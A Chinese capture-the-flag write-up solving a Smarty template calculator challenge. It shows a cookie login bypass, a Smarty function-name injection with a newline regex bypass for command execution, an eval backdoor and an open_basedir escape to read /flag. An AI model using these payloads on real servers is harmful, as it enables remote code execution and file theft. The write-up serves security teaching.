# [HMGCTF2022]Smarty Calculator
进入页面,随便输入一个字符,发现还未登录,没有提示就是文件泄露
www.zip,发现文件,泄露查看源码:
if(isset($_POST['data'])){ | |
if(isset($_COOKIE['login'])) { | |
$data = waf($_POST['data']); | |
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>"; | |
$smarty->display("string:" . $data); | |
}else{ | |
echo "<script>alert(\"你还没有登录\")</script>"; | |
} | |
} |
这个要求 cookie 有个 login 变量
随便加个就行:
Cookie:login=123
登录后就可以计算了
smarty 模板的判别(返回版本号)
{$smarty.version}
在网上找一下有没有这个版本的 poc:
{function+name='rce(){};system("id");function+'}{/function}
但是没有回显,那就是修改了代码,可以自己使用 beyond compare4 对比一下本来的脚本:
https://github.com/smarty-php/smarty/releases/tag/v3.1.39
发现这个过滤的代码被修改了
我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!去掉,表示匹配成功即进入 error;
然后 a-zA-Z0-9_\x80-\xff 这些包含了正常的大小写字母,数字,下划线以及不可显字符;
而后面的 (.*)+ 中,. 匹配除了换行符以外的所有字符,* 匹配 0 次或者多次,+ 匹配一次或者多次
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) { | |
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true); | |
} |
所以可以换行绕过, %0A
既不在前面的 []
匹配里面,又不被后面的 .
匹配
所以我们只需要在原来的 poc 基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)
data={function+name='rce(){};system("id");function%0A%0A'}{/function} |
获取 id
再是获取 flag
data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=var_dump(file_get_contents('/flag')); |
若是限制 open_basedir 目录
data={function+name='rce(){};system("id");@eval($_POST[1]);function%0A%0A'}{/function}&1=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag')); |
获取 flag
参考链接:https://blog.csdn.net/RABCDXB/article/details/123750375